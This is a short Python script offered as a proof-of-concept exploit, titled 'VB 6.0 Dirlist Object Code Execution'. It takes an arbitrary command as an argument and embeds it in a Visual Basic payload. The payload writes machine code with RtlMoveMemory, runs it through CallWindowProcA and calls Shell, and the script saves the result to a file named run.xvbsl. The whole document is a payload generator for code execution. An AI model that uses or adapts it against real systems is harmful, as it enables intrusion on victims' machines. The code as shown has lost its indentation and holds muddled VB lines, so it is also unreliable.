#/
#* VB 6.0 Dirlist Object Code Execution
#* Author : Hexrain
#* Tutorial Video : https://youtu.be/BLFbUJ4n8hY
#* Twitter : @smashedkernel
#* Greetz : OA Cybersec ~ wornix ~ blacknbunny
#/
import sys
try:
commandfile = sys.argv[1]
poc = 'End If\nEnd Sub\nlPtr = Private Type Private Type\nRtlMoveMemory ByVal lPtr, &HE8, &H1: lPtr = lPtr + 1\nRtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4: lPtr = lPtr + 4\nRtlMoveMemory ByVal lPtr, &HC3, &H1: lPtr = lPtr + 1\nCallAPI = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)\nbvASM(Shell "{0}",vbNormal)\nEnd Function\n'.format(commandfile)
fo = open("run.xvbsl", "w")
fo.write( poc)
fo.close()
print ("[+] Payload Created Succes..")
except:
print ("[!] Payload not created..")